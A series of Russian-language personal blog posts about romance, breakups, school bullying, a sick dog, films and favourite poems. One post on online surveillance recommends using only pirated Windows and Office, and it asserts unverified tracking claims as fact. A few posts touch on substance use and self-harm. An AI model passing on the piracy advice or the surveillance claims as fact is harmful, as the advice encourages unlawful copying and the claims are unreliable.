Сегодня, несмотря на то, что я еле открыла свои глаза, у меня было хорошее настроение. Я вышла из общаги, включила музыку в наушниках, шла и улыбалась. Мне просто было хорошо. А еще одногруппница увлекается написанием всеразличных рассказов, историй и ей нравится снимать видео. Она решила снять 30 секундное видео на какой-то конкурс, попросила принять в нем участие, ну, я и согласилась. :) Я играла, скажем так, роль девушки, которой стало плохо, она упала на лестнице, бежал грабитель, схватил сумку и убежал… В это время мимо меня шла пара, они видели, что мне плохо, но не помогли. Потом парень увидел, что мою сумку забрал грабитель и ему представилась картина, а что если бы вся эта история произошла с его девушкой… Как-то так короче… В общем я сегодня вытирала лестницу. Просто идут люди, а я практически лежу на лестнице, чтобы при снятии другого сюжета, ничего не изменилось и не было косяков. :D Ну, короче, это был черновой вариант и в субботу мы идем снимать по новой. Так вот и развлекаюсь. (Про загоны писать тогда не буду, раз все кончилось на положительной ноте и у меня даже сейчас хорошее настроение).

Тошнит от всего. Тошнит от всех. Такое ощущение, что каждый новый день смеётся мне в лицо со словами: "эй ты, чмо, с добрым утром нахуй. посмотрим, как ты справишься сегодня."

и даже если весь мир будет против него, и если все скажут, что он не прав, я все равно подойду, возьму за руку и встану рядом.

и не потому что он плохой или хороший, а потому что он часть моей души, а от себя я отказаться не могу.

Подумала о том, что все, абсолютно все, мои любимые фильмы - это что-то об убийствах, призраках, мистике, чудовищах и маньяках (и далее по списку) Вот какой ни возьми, а что-то крышесносное есть. Это со мной что-то не так, я больная на всю голову? Хотя немного позже я все же решила, что каждый ищет свой способ разрядиться. Кто-то любит пореветь над мелодрамами, кто-то пьёт, а я наливаю чай и иду смотреть очередной трэшак. И не потому, что я гнида тупая и люблю смотреть как отрубают члены и не хочу заниматься самопознанием и высокодуховенством, а потому, что потом мне становится хорошо и весело. Простите, люди. P.S мама такая же и отец безумно все это любил.

Наше знакомство с Артёмом произошло очень банально.
6 мая мне лайкнул грустный пост какой-то незнакомый блог и я решила написать ему сообщение.


Хочу пояснить, что общались на вьюи мы около месяца и все это время мы не знали ни имен друг-друга, ни возраста, ни страны проживания. Мы с первых сообщений договорились задавать друг-другу небанальные вопросы, например такие как «опиши свой город, не называя его», «кем ты хочет стать в детстве?», «опиши свою семью/профессию». Мы писали друг другу огромные письма и я бежала домой, чтобы зайти сюда и прочитать их.
После мы нашли друг-друга в вк, но там мы очень мало пообщались (магия вьюи там больше не действовала) и перестали вообще общаться. Всё лето он общался с девушками, пытался построить с ними отношения, я тоже что-то пыталась построить. Но как потом выяснилось ничего у нас не получалось.
Осенью на меня напала дикая хандра, всё шло не так, я не могла найти силы в себе жить и радоваться жизни и вот я получаю от Артёма в вк сообщение, мол «что-то у тебя всё плохо в жизни. что случилось?». И мы опять начинаем общаться. Это было уже в октябре. Общались мы очень тепло, немного намекали на симпатию друг к другу, но это было всего лишь из-за одиночества и нехватки внимания у обоих. После нескольких недель общения мы решили поговорить в скайпе. Как я переживала! Я готовилась и морально и физически пол дня. И надо учесть то, что мои фото он видел в вк и знал как я выгляжу, а у него не было фото, где чётко видно его лица и я даже не знала как он выглядит. В итоге мы очень тепло и здорово пообщались и вечер прошёл незаметно. На второй день после нашего разговора Артём пишет мне, что собирается покупать билеты в Молдавию, чтобы прилететь ко мне в гости на зимние каникулы. Я не до конца верила происходящему, мама вообще начала боятся того, что это может быть маньяк или убийца какой-то (надеюсь это было в шутку). За два дня билеты были куплеты и номера в гостинице забронированы. Таких быстрых принятий решений я никогда не встречала :)
После этого у нас началось очень близкое и теплое общение. Человек писал мне так, как не писал никто. Это было настолько мило, тепло и по-доброму, что я при каждом таком его общении заливалась краской.


После двух месяцев, в начале января я выехала в другой город, чтобы встретить его в аэропорту и провести с ним новогодние каникулы. В первое время я вообще не переживала, но уже когда приземлился его самолёт мне казалось, что стук моего сердца слышит весь аэропорт. Встретив его я не могла перестать его обнимать.
Сев в такси меня стало жутко тошнить и я взяла и легла ему на коленки, чтобы успокоиться. И он гладил мня по голове. Это было тем самым моментом, когда мы ничего не говоря поняли, что мы вместе и больше нам ничего не надо.
Приехав в гостиницу, затащив свои вещи и раздевшись стало жутко неудобно, так как по сути мы впервые находились наедине и так рядом. Мы просто обнялись и стояли так, наверное, вечность (сейчас это кажется именно так). Было невероятно осознавать то, что человек совсем рядом и расстояние лопнуло как мыльный пузырь.
Мы провели 9 невероятных дней вместе как одна маленькая семья. Мы гуляли по городу, валялись в кровати, смеялись, дурачились. Мы были роднее всех людей на свете. Я познакомила его с мамой и он ей очень понравился.



Было очень тяжело отпускать его обратно, я плакала в такси и в маршрутке по дороге домой, и, вернувшись домой мой город казался мне очень серым, холодным и пустым без него. Приехав домой я сразу всем заявила, что через 5 месяцев я уеду в другой конец земли и все мне даже не противились.
Честно, в начала мы не до конца были уверенны в том, что мы выдержим это расставание и дождёмся эти 5 месяцев. В начале и в самом конце было жутко тяжело, мы устали от этого расставания, но в то же время мы поддерживали друг друга и всегда были рядом. Мы каждый, каждый день разговаривали по скайпу (не разговаривали всего 3-4 раза). Это вошло в привычку в определённое время встречаться в скайпе, рассказывать о своём дне, заниматься математикой и английским. Хоть мы и были далеко мы всё равно создали свой мир и жили в нём.
Летом, когда он приехал меня забирать, я познакомила его со своей семьёй и они спокойно отпустили меня с ним к нему домой. Артём это тот человек, который молниеносно влился в мою семью. Наверное, так же влилась и я в его.
А уже этим летом я познакомила его с бабушками и дядями/тётями. Как же приятно было приехать домой с человеком, который является уже олицетворением тебя. Мы были одним целым и все считали нас отдельной семьёй.



Прошу прощения за столь огромный пост, но я давно обещала его написать.
И спасибо тем, кто дочитал его до конца.
Верьте в любовь какой она бы не была.

окей гугл что делать если все время ходишь с грустным ебальником и всех вокруг винишь в своем перманентном унынии хотя в глубине души понимашь что сам мудак

я весь месяц хотела свежий инжир, организм просто тревогу бил, и вот, наконец, купиииила, съела сразу 3 штуки. я на 7 небе, конечно 3 это перебор, но это того стоило! есть в жизни счастье

И снова я решила немного понадоедать вам, привет: 3

Недавно на меня снизошло вдохновение, в одном местечке загорелось желание пофотографировать. Смотрела на разных красивых девушек или на красивые работы фотографов, вдохновилась и подумала "ой да чем я хуже, а". Купила пленку (которая, кстати, очень заметно выросла в цене), позвала свою красивую Анастасию и решила устроить ей фотосет небольшой. Именно им я и хочу поделиться с вами, а также интересно ваше мнение, не будьте такими буками, ответьте хоть что-то :)

Все фотографии можно посмотреть здесь - https://www.flickr.com/photos/77209813@N04/

Почему-то не могу вставить ссылку, поэтому вам придется копировать, но ссылка на мой профиль Flickr есть на страничке на вью, так что всех жду! ;)

А ниже парочка примеров

Наш последний, осенний уик-энд превратился в любительскую программу "Остаться в живых". Поскольку на позапрошлых выходных были заморозки- воду отключили. Мы сегодня решили пойти в баньку, побоялись, что воды будет мало и нам пришлось тащиться на водокачку в мерзкую, моросящую погоду с тачкой и бидоном. Выезжая с участка, я пролила ведро воды себе на ногу. Но времени переодеваться не было. По дороге милому в голову пришла мысль, что без ведра мы не сможем набрать воду. Мне пришлось возвращаться за ведром на дачку. Моросячка усиливалась. Вернулась, Китти начал набирать воду. Как обычно, не слушая меня, набрал столько воды, что еле катил тачку обратно. На мои просьбы отлить воду- раздражённо отказывал. Бидон оказался с дырочкой, плюс горочки по дороге и вода всё равно пролилась. Китти неисправим.. У нас остаётся мало еды, вчера даже лавашик не делали, так что папенька завтра будет через автобус передавать собойку. До остановки идти 3 км.. С дровами всё очень плохо, осталось их совсем чуть-чуть. Из-за этого приходится экономить и топить камин только к вечеру. Обогреватель получается включать редко, поскольку то ноут заряжается, то бабуля что-то готовит (нельзя чтобы что-то было одновременно включено с обогревателем- могут пробки вылететь). Несмотря на все бытовые сложности, мы всё равно счастливы.

Вчера я пришла домой с университета, и внезапно, в 14:55, раздался звонок. Это был Стёпа. Учитывая то, что в последнее время мы не созваниваемся, да и вообще не общаемся, я крайне удивилась. Он спросил, может ли заехать за мной через полчаса или через час. Я, сама того не ожидая, внезапно ответила ему «Да!».

Мы поехали покататься по городу и купить кофе. Пока он ходил в кофейню (назовём её так), я играла в игру. Он пришёл и стал просто наблюдать. Как и в прошлый раз, когда я на его ноутбуке играла в Left 4 Dead, он вскоре начал мне мешать: то носом мне в шею уткнётся, то поцелует, то на колени мне уляжется. В итоге я оказалось в прочном захвате из его рук, и играть мне уже совершенно не хотелось, как и говорить на тему: "Прощай, мы слишком разные".

Я рассказываю это к тому, что сегодня, пересказав всё это Оксане, она сказала, что это больше похоже на зарождающуюся любовь, и поэтому я не смогу сейчас просто так от него отказаться.

Ведь не сложно уходить, когда любят тебя, а сложнее, когда ты сам растворяешься от любви к кому-то.

(via oskolki-phraz )

план таков, вылить всю свою душу здесь, на вьюи. и больше не вспоминать и не зарекаться об этом до тех пор пока я не отойду. поехали.

вся правда в том, что он мне дорог. как парень, как друг, как человек. мне нравилось наше общение, наше времяпровождение, наши ссоры и хохот до коликов в животе. я знаю что мы были совем не пара. ну просто не подходили друг другу ни по гороскопу, ни по характеру, ни почему либо еще. я знала, что эти отношения ненадолго, нам просто было весело вместе, мы не искали серьезных отношений.

вся правда в том, что я не знаю что держало нас вместе. сейчас думая об этом, это была далеко не любовь, и не уважение, не доверие. может симпатия, может привычка, может боязнь остаться одной и не иметь человека которому можно было бы пожелать спокойной ночи. но что бы это ни было, оно крепко приклеило меня к нему. хотя нет, я наверное все таки любила его, слепо, и необъятно. как палочку выручалочку, с которой было плохо, а без -- еще хуже.

вся правда в том, что даже когда я знала что нужно уйти, даже когда осознавала что без него мне будет гораздо лучше, я не могла, или не хотела этого.

но сейчас когда все наконец то закончилось, когда не осталось не отвеченных вопросов и не разрешенных казусов. когда мы стали друг другу никем, хорошим воспоминанием, людьми из прошлого. я чувствую себя как не своя.

моя жизнь даже шибко не изменилась, после этого инцидента. я все так же хожу на учебу, ежедневно разговариваю с подругой, да и с настроением в общем то все нормально. мне никто не пишет и не звонит, так было и последнее время даже с его присутсвием, ничего нового.

но теперь в этой тишине и черном экране моего телефона какая то дыра. пустота. такое чувство что эхом отдает, не знаю даже как это описать.

жизнь не стала серой, да и краски ее не поблекли вовсе. но сказать что я в порядке я тоже не могу.

а пока, девчата, хорошие мои, отзовитесь мне на помощь. посоветуйте чем занять себя человеку с гипсом которому и ходить по дому сложно, не то что на улицу выйти, чтобы не думать обо всем об этом.

Хотела провести неделю без кофе, начиная с этого понедельника.
Ага, как же, не продержалась ни дня.
Кстати, тыквенный латте, оказывается, очень вкусная вещь!

Я - паранойик

Все, кто тоже испытывают манию слежки - присоединяйтесь к моей лиге. За всеми нами следят, и даже самые сомневающиеся, знайте - это правда чистой воды. Все ваши ноутбуки, гаджеты и мобильные связи - все они зло!

Я конечно отлично понимаю, что нафиг кому-то сдалась такая как я, зачем кому-то прослушивать мои наибесполезнейшие разговоры в скайпе и читать тупые переписки вконтакте? Но вдруг однажды это будет использовано против меня..

Итак. Главные враги. 1) Microsoft (Windows, Office, Skype, Xbox). Они даже называются корпорацией зла. Мои действия для предотвращения "слежки" (Я ЗНАЮ, ЧТО МЕНЯ ЭТО НЕ СПАСЕТ): ТОЛЬКО пиратская винда и офис, ТОЛЬКО семерка (никаких восьмерок, ТЕМ БОЛЕЕ десяток), Скайпом, к сожалению, я все еще пользуюсь, но в поисках нового средства связи (у него я только рекламу в хостах убрала), ну и Иксбокс - не пользуйтесь киннектом и микрофоном. А еще можно отключить местоположение.

2) Google (Android, Chrome, YouTube, Поисковик и все его коварные сервисы). То же самое касается Яндекса - он тоже пошел по кривой дорожке. С этим все гораздо сложнее. Гугл уже проник в наши жизни, как вирус. Если вы тоже видите в этом проделки Скайнета (отсылка к Терминатору), то попробуйте эти решения: Я вообще удалила хром (пользуюсь другим браузером по ряду причин), отключите все что можно в настройках браузера, в самом гугле выберите настройки конфиденциальности - ЗАПРЕТИТЕ ВСЕ ЧТО МОЖНО. Кстати приложения на андроиде тоже за вами следят, даже после того, как вы их удалили (об этом ниже). Ну, а Ютуб закрепился слишком сильно, тут я советую удалять историю просмотров и отказываться от рекламы по интересам.

3) Apple. Я просто перестала их любить после смерти Джобса - компания скатилась в унылое говно и сейчас нацелена на выручение прибыли со всяких кретинов, которые слепо верят, что эпл придумывает все сама, и не суть, что эти идеи были воплощены уже давно другими малоизвестными фирмами. Нет, это не завидки (у меня самой айфон 3гс, но у меня поддержка закончилась еще года полтора назад)

4) ВК. Те еще ублюдки. Случай из реальной жизни: к местному провайдеру пришли менты и сказали найти и выдать им одного человека, им служба поддержки ВК его айпи скинула. Его нашли. И как вы знаете, его перекупил продажный мэйл, поэтому там все очень плохо. Но УВЫ И АХ, НИКОГО ЭТО НЕ ЕБЕТ, потому что вк уже набрал огромную базу людей и имеет на каждого досье. Один из выходов - сидите под фейковыми именами и фотографиями, не устанавливайте приложения (они следят за всеми действиями - есть знакомый в этой сфере).

И кому интересно, мои действия на будущее: сменить в скором времени ОС на Линукс, использовать браузеры типа Tor, найти средство связи помимо скайпа, забаррикадироваться в вк, избавиться от гнета планшета на андроиде и телефона на яблоке - коплю деньги на новый телефон с абсолютно другой ОС.

И еще я хочу подкинуть вам интересное расширение - Ghostery. Он показывает сколько жучков следят за вашими действиями на просторах интернета. Пример всеми ивестного Авито - 15 жучков!

В общем, судите сами. Чем больше будет людей, беспокоящихся о неприкосновенности своей личной жизни - тем только лучше! НЕ ДАДИМ СЕБЯ ПОРАБОТИТЬ!

p.s. даю ссылку на добротный материал (да, да, это вк) vk.com/wall-29559271_90526

p.p.s. этот плагин может конфликтовать с другими (например со скачиванием музыки из вк)

а потом я написала ему спасибо за всё хорошее и классное и спросила зачем всё это было нужно?зачем врать мне, зачем изменять. а он сказал, что любить совсем-совсем не способен и немного попытался себя оправдать. но всё это уже не важно. и вместо скандалов, я просто сказала спасибо. и ушла.

черт. а на душе, думаешь, как? охуенее, чем если бы разосрались в пух и прах.

я горжусь собой. и мне дышится невероятно, невероятно легко.

Заметался пожар голубой,
Позабылись родимые дали.
В первый раз я запел про любовь,
В первый раз отрекаюсь скандалить.

Был я весь - как запущенный сад,
Был на женщин и зелие падкий.
Разонравилось пить и плясать
И терять свою жизнь без оглядки.

Мне бы только смотреть на тебя,
Видеть глаз злато-карий омут,
И чтоб, прошлое не любя,
Ты уйти не смогла к другому.

Поступь нежная, легкий стан,
Если б знала ты сердцем упорным,
Как умеет любить хулиган,
Как умеет он быть покорным.

Я б навеки забыл кабаки
И стихи бы писать забросил.
Только б тонко касаться руки
И волос твоих цветом в осень.

Я б навеки пошел за тобой
Хоть в свои, хоть в чужие дали…
В первый раз я запел про любовь,
В первый раз отрекаюсь скандалить.

С.А. Есенин

Я достаточно повзрослела и набралась здесь опыта, чтобы прибрести "вторую квартиру".
Прежде чем lifesketches превратится в комнату, заваленную интересными мыслями, начатыми эскизами, историями и бессвязным настроением, я нахожу нужным обжить ещё один блог. Имя ему Solnceva Art.

Деление пространства на мысли и действия более чем логично. В плане доступности Вью останется моей тайной шкатулкой, а Блогспот станет чем-то вроде мастерской - гостиной. Прошу Вас проходить!

Illustrations: (Lina Zholobova)

Вот знаете, меня всегда дико раздражали эти глупые мальчишки из ряда тех, кто дёргает за косички взнак своей любви. Сегодня после университета припарковала машину у дома и вспомнила, что забыла купить себе фрукты, чтобы их брать в универ. Так вот пошла я в лорёк за фруктами, впереди меня из моей старой школы шли две девочки и мальчик, они все в классе 8, наверно. Так вот одна девочка что-то рассказывала подружке, а этот мальчик то сменкой её ударит, то шапку с головы снимет и побежит куда-то, то дурой её назовёт и так далее. Я прям спокойно смотреть на него не могла, охото было схватить его за ухо и подзатыльник дать…сразу вспомнила себя в их возрасте и как мой одноклассник любил надо мной издеваться: это самые жуткие воспоминания в моей жизни, а ведь тогда я реально думала, что ему просто нравится надо мной насмехаться и каждодневно меня унижать, но как выяснилось с годами это было его любовью ко мне.

Мы с тем мальчиком Д. были вместе в садике и учились потом ещё с 5 по 9 класс. Он в нашем классе был авторитетом каким-то, все мальчики слушались его бесприкословно и, как слуги, выполняли все его королевские указы, лишь бы он их не бил. Я за те 4 года своей жизни что только не прошла! Одевала платье или юбку-он подбегал и вечно поднимал их наверх, чтобы все видели мои колготки, это же так смешно, не правда ли? Одевала штаны-он со всей силы подбегал и бил меня по пятой точке, иногда домой приду, а там отпечаток его мерзкой ручонки. В раздевалке на физкультуре он вечно открывал двери и подбегал ко мне то ущипнуть, то снова ударить. На уроках если сядет за мной-то постоянно растёгивал мне лифчик. Про зиму это вообще отдельная история: он вечно хватал меня на руки и кидал в сугроб, или обкидывал льдинками, которые набивали мне кучу синяков по всему телу. Один раз он мне чуть нос не сломал, он подошёл меня "обнять", в итоге толкнул и мы с ним оба полетели с крутой горки, а он своей рукой ударил мне в лицо, и 3 дня я ходила с распухшим носом. Но самое его любимое занятие было просить свою шайку запереть нас в мужском туалете, его эти "слуги" держали дверь с обратной стороны, пока этот дурак лез ко мне целоваться и обниматься. Один раз он вообще зашёл ко мне в подъезд, спрятался на моём этаже в углу и когда я подошла к своей двери-он выбежал, ударил меня по спине, я от страха закричала на весь подъезд.

И вот мы в 9 классе, это был самый счастливый год в моей жизни, потому что я знала, что этот дурак уйдёт после девятого класса в техникум. И тут на 2-е сентября, он подходит ко мне на первом этаже, зажимает в углу, просит прощение за всё и предлагает встречаться, признавшись, что все его козни были плодами его нежнейшей любви ко мне- ну представьте только мой шок в ту секунду. Ко мне подбежали девчонки, выхватили из этого угла, утащили за собой-я им всё расскзала, а эти сучки решили прикольнутся над ним и сказать от моего имени, что я согласна быть с ним. У нас как раз тогда была физкультура, я выхожу из раздевалки, навстречу ко мне выбегает он и целует в губы, у меня аж глаза чуть не вывались! И тогда я дала ему такую пощёчину, что аж учительница по ф-ре выскочила из своей каморки увидеть кто кого ударил, все вышли посмотреть что произошло, а там стоим я, он и мой отпечаток красуется на его щеке-это был прям мой звёздный час :D С тех самых пор он будто снял с себя корону, стал относится ко мне по-человечески и не приставал больше. На последнем звонке он снова подошёл ко мне с тем самым его вопросом, но ответ разумеется был негативным.

И вот сегодня я увидела того мальчика и вспомнила Д., мне вот правда интересно как в голове у парней появляются эти мысли, что если ударить девочку и причинять ей любую физическую боль-то это будет показателем их любви, ну что за чушь? Если парню нравится девушка, то достаточно просто подойти, сказать об этом открыто (ну или хоть мсм написать), зачем выставлять себя идиотом и тираном в глазах общественности? Неужели какая-то девушка захочет быть с тем парнем, который вот так её унижал? Надеюсь в будущем у моего сына не будет такой логики и он не будет обижать слабых девочек, которые не смогут дать ему отпор. К чему я это написала-не знаю, просто вспомнилось что-то)

Знаешь, что с тобой не так, мисс неизвестно кто? Ты трусиха. И больше ничего. Ты боишься поднять голову и сказать: "Жизнь есть жизнь". Люди влюбляются, люди хотят принадлежать друг другу. Потому что это единственный шанс стать счастливыми. Ты называешь себя свободной, дикой. И ты так боишься, что кто-то посадит тебя в клетку. Детка, ты уже в клетке. Ты сама её создала. И она не ограничивается Техасом или Сомали. Она всегда будет с тобой, потому что куда бы ты ни отправилась, от самой себя тебе не убежать." Завтрак у Тиффани.

Момент, когда ты хочешь курить, но боишься идти на улицу, ибо опять можешь упасть или потерять сознание. История о том, как организм заставляет бросать.

я, доедая единственную порцию горячей еды на день, потому что у меня нет сил готовить больше одного блюда: почему ты до сих пор голодная?? что тебе нужно от этой жизни вообще?? когда ты наконец остановишься???

мужчины-мудаки!

таким возгласом я закончила свои страдания. но расставаться с кем-то в такую погоду - это мазохизм, честное слово. пасмурно, адски холодно, скользко, на дорогах грязь. радости вроде вообще никакой плюс куча заебов по учебе.

смотрю на себя и думаю, как бы научиться отпускать безболезненно мужчин, которые не способны на поступки. или способны, но на хуевые поступочки.
а сколько таких еще будет?

а страшно знаешь от чего? от количества мужчин к которым привыкнешь, а уже - хоп- и надо отвыкать, отпускать, ведь сволочь же он этакая.

а знаешь, поняла что переживу кучу таких мужчин и не одну. лишь бы здоровье было. лишь бы любимые рядом. понимаешь?

День 12: Лучший совет, который Вы когда-либо слышали или давали.

Мне кажется, что я чаще слушаю определенные строки из песен, чем людей. Пытаюсь найти какой-то смысл в строчке.

Прогулка.

Вы боитесь высоты? А можете представить себя идущим по натянутому канату на высоте более 400м без всякой страховки? Потоки ветра обдувают вас, а внизу — город и тысячи взволнованных взглядов, устремленных вверх.

История о том, как французский канатоходец Филипп Пети отважился совершить легендарный трюк — пройти без страховки по канату, натянутому между небоскребами в Нью-Йорке.

Вчера посмотрела этот фильм и он мне очень понравился, Земекис как обычно на высоте! Фильм очень вдохновляющий, он демонстрирует, что для человека, который умеет мечтать, нет ничего невозможного!

Джо был великолепен. Он прекрасно сыграл человека, одержимого мечтой…с первого взгляда несбыточной мечтой. Но его страсть и его друзья помогли ему воплотить ее в жизнь. И да, еще одной важной идеей этого фильма являются настоящие друзья. Ведь благодаря их помощи он сделал то, что сделал. Они его не бросили, хотя было столько возможностей. Они были с ним до конца.

На моменте, когда Филипп наконец-то встал на трос, чтобы пройтись от одной башни к другой, у меня начали потеть ладошки и ноги немного дрожали…какая я впечатлительная XD Но, этот момент и правда заставляет поволноваться, даже несмотря на то, что ты знаешь, чем все кончится.

Я увидела, с какой любовью и трепетом режиссер отнесся к Башням-Близнецам. На протяжении всего фильма меня не покидали грустные мысли относительно этих зданий. Очень тяжело смотреть на них и знать, что через несколько десятилетий произойдет ужасная катастрофа.

И слова, которые заставили мое сердце биться чаще…

______

« Помните одного из создателей Башен - Гая Тоццоли? Ему очень понравился трюк и он вручил мне пропуск на смотровую площадку, чтобы я приходил, когда захочу. Я много раз приходил сюда. Стоял на самом краю, глядя в пропасть. Мысли уносились в прошлое и возвращались старые чувства. Ведь это был…это был прекрасный день. А самое интересное в этом пропуске, что на каждом их них указана дата – это их срок действия. Но на моем пропуске, Мистер Тоццоли зачеркнул эту дату и написал… навсегда »

my gifs

тише, не кусай свои губы, и не трожь запястья.
тебе придется пройти все круги ада, чтобы добиться счастья.

тише, не растворяйся в каждом и не отдавай душу,
в их глазах ты никогда не прочтешь честное: "поиграю и брошу".

тише, и лучше покричи и поплачь.
порой самый дорогой, в жизни твоей лишь палач.

тише, тебя еще не раз предадут друзья,
или даже отвернется, твое самое дорогое, семья.

тише, прекрати доверять, но не закрывайся,
и если кто - то дорожит тобой, то обязательно, тут, оставайся.

тише, у тебя в глазах, то, что не найти в других.
ты умеешь любить. рядом с тобой не хочется чужих.

тише, скоро исполняться все твои мечты.
и оживут в душе твоей замершие от холода цветы.

Никогда бы не подумала, что это коснется меня. Хотя меня предупреждали, и я немного даже верила. Совсем чуть-чуть, но всё же отбрасывала эти варианты у себя в голове на самую верхнюю полочку, чтобы никогда - никогда не достать.

Видимо, я резко выросла. Или полку пошатнула и эта правда неожиданно упала на меня.

В любом случае… Чего я ожидала от парня, который привык к тусовкам и ночной разгульной жизни?

Противно только от того, что я безпамятно влюбилась и закрывала на всё глаза. Отдалась ему по любви, зная, что он у меня самый первый, а он тупо удовлетворил свои потребности.

Просто противно и жалко.. Жалко и противно.. Противно от себя самой..

"Торгует чувством тот, кто перед светом всю душу выставляет на показ "
(У.Шекспир (в переводе С.Маршака)

Не выставляйте чувства на показ -
Душа одна, но много любопытных глаз,
Готовых душу разорвать на части.
Оставьте при себе свои несчастья,
Не отдавайте их толпе.
Случалось каждому и мне
В подобном случае обжечься,
Доверишь другу раненное сердце,
Он посмеется и оставит вас.
Не выставляйте чувства на показ!
Они как тайная криница,
В таинственной лесной глуши
В заветном уголке души
Не могут каждому открыться.

My love is strength'ned, though more weak in seeming; I love not less, though less the show appear: That love is merchandised whose rich esteeming The owner's tongue doth publish every where. Our love was new, and then but in the spring, When I was wont to greet it with my lays, As Philomel in summer's front doth sing, And stops his pipe in growth of riper days: Not that the summer is less pleasant now Than when her mournful hymns did hush the night, But that wild music burthens every bough, And sweets grown common lose their dear delight. Therefore like her, I sometime hold my tongue, Because I would not dull you with my song.

Меня задолбал мой город. Мне нужна смена обстановки и поэтому я хочу и я поеду во Франковск. Мне это нужно

Паническиеатакипаническиеатакипаническиеатаки.
" Все хорошо, просто я там переписывплась кое-о чем". "Это плохо", "это неприлично", "тебе лучше не знать". Ок.Мой мозг параноика скоро начнет думать, что она меня обсуждала, или замену нашла мне, пока я тут сижу, надеюсь и люблю ее. Это конечно все бредятина параноика. я и есть параноик.не люблю неизвестность. просто если что-пусть это останется на ее совести.Хотя, проще сказать мне. Плохо быть человеком, который себя накручивает.Ты накручиваешь то, чего нет и в помине. Мысли аля "Сидишь думаешь, что пока ты надеешься, что все будет нормально и как раньше, даже еще лучше, а на деле тебя водят за носик".
Ок.Все.Стоп.Хватит надумывать себе ерунду.Пора прекратить панические атаки.хватитхватитхватит.
Искала конверт, чтобы отправить ей письмо.Нашла вырезку из журнала с ее гороскопом на 2015. "Вы должны всеми силами сохранить семью или отношения".Ага, заметно как она все сохранила.
Сердечко болит.
Хочу просто сесть и ждать. ждать, когда не я, а она сделает шаги. Не я была инициатором, не я все разрушила. Так почему же я одна должна что-то делать? сли у нее есть желание и если она любит меня-она сделает шаги. Не будет глупить и сделает что нибудь.
Я знаю, это моя вина. Что я вела себя как дура, игнорила, не понимала что делать. Но с моей стороны были, есть и будут сильные чувства к ней. Сейчас мы просто близкие друзья. Ах каких сил мне стоит цплять маску просто близкой подруги.
Скоро ехать в Питер. Все будет ок, главное не смотреть ей прямо в глаза. Ведь по моим глазам понятно все. И не забытиься главное. Не взять ее руку в свою и не пытаться поцеловать. И уж тем более отключить все пошлые мысли насчет нее. Во всяком случае во время нашей встречи.
напишу одну вещь на ФБ и больше не буду. Пока. Со мной все ясно. Ясно о моих чувствах и желаниях, мыслях. Если я ей нужна, если она любит меня, если хочет быть со мной-она сделает что-нибудь. И даст знак. И все будет хорошо. Даже лучше.
Почему то все, кого знаю, кто расставался-все вновь сходились и продолжали любить друг друга, даже сильнее. Ну а я что? а я лох.
Люди часто совершают ошибки, потому что они дурачки. Но они также все могут все исправить. было бы желание. и чувства.
Сохраняю все видео, которые она присылает. Мое солнышко, мой котик, моя милая КисКис..И все ее признания, слова о любви тоже сохранены.
Нет смысла писать воспоминания, приятные моменты, как все начиналось..Все уже записано здесь.Прошлой осенью.Все у сердца, в душе.и греет меня, когда холодно.
Засим пора заканчивать. Излито слишком много. И будет еще излито.

Не возвращайся здесь тебя не ждут

Здесь навсегда забыли твоё имя

Здесь твоё сердце не найдёт приют

И в одиночестве беспомощном остынет

Она ждала тебя с тех пор как ты ушёл

Кормила памятью собаку-старость

Она молилась, чтобы ты нашёл

Дорогу к дому, где она осталась

Не возвращайся, что ты скажешь ей?

Заглянешь в блюдца глаз?

Их вылакало горе

Под тонкой кожей камушки костей

И крови ледяное море…

Ты опоздал на сотни нужных слов,

На взглядов тысячи, на миллион мгновений

Скатилась с лестницы. Разбила голову. На лице содрала кожу. А все потому, что в глазах потемнело. Ребят, я скоро откинусь такими темпами.

Cнова непроизвольно сжимаю зубы. Нервы, но я справлюсь. Начались эти дни (юху!). Поругались с Л. Поругалась с М. /чувствуете разницу кто с кем))) / и решила для себя:

Я их забываю. Л. я и так собиралась бросить. А М. - убил все, что то теплится конечно, и червячок в душе прогрызает путь для сомнений, тоски, печали и слез, но я справлюсь. Как забыла Сашу, как забыла бывшего мужа, так и его забуду.

Побыть одной. Подумать о жизни. Расставить по полочкам все в голове. И! Никогда в жизни, вообще никогда, ни под каким предлогом (!!!!) не подпускать к себе всяких мразей и тварей (пусть звучит по злому, но они это заслужили).

То что меня вдохновляет или делюсь вдохновением. Часть 10.

все картинки была найдены на просторах интернета
WeHeartIt

Я уже давным давно пью чай без сахара, у меня и сахара то в общаге нет, вообще никогда. И чай я пью чуууу чуть заваренный, да да, как моча :)

Но когда он наводит себе наикрепейший чай, вовсе не вынимая пакетика, да еще и очень сладкий - я отпиваю немного и это самый вкусный чай на всей планете.. Я скучаю..

А еще у тебя сегодня день рождения, мое солнышко.. с праздником ♥

Моя собака больна. Ей плохо. Она почти всегда спит, просыпаясь разве что на уколы/капельницы/промывания/таблетки. Уши упали, в глазах пусто. Мы делаем все возможное и бодримся. Но внутри все просто разрывается от боли, и от мысли, что больше помочь я ничем не могу. Не могу унять ее боль, не могу вынуть катетер из лапы и трубку из живота, не могу сделать так, что б было снова весело и светло. Я твержу: "мы вытащим ее, мы вытащим ее". И нет другого выхода. Но это ад. О плохом думать не буду. Мы вытащим ее.

Скажи наркотикам: "Трям! "
Скажи наркотикам: "Чпок! "
Своди наркотики в цирк.
Купи им яблочный сок.

Нарви наркотикам роз.
Подай наркотикам знак.
Под вечно бледной луной
Скажи наркотикам: "Так! "

Построй наркотикам дом.
Открой наркотикам мир.
Накрой им праздничный стол.
Нарежь к шампанскому сыр.

Свяжи наркотикам шарф.
Пусти наркотики в пляс.
Скажи наркотикам: "Тут! "
Скажи наркотикам: "Щас!"

Вчера был очень светлый день в моей жизни. Очень.Мне было хорошо.Я ходила и улыбалась. Радовалась жизни. Человеку, который рядом.
И, видимо, на то была причина.

Сегодня только началось, а мне уже ничего не хочется. Настроения никакого.Вертела я всё на хере..Меня БЕЗУМНО всё раздражает!!!

Вывод тут только один: мне что всю жизнь нужно быть под чем то (алкоголь, дурь и тд) что бы радоваться каждому дню, каждому шагу ?

Осень одного заморозит, а зима двоих.

Смотрю я на это солнце из окна дома, где уже включили отопление, и не верю. Как бы ярко оно не светило, смотря на него, внутри отдает морозом. Осень - мертвая красавица. Красивая, но мертвая.

И все равно мне нравится. Нравится по утру спешить на работу, сжимая замерзшие пальцы в кармане куртки. Нравится вкус горячего глинтвейна, когда в затылок бьет холодный ветер. Нравится эта зимняя свежесть, но еще не погода одевать себя в пуховые доспехи, и из теплого на тебе только шарф. Нравится вдыхать глубоко в легкие морозный воздух и чувствовать, как кровь приливает к лицу.

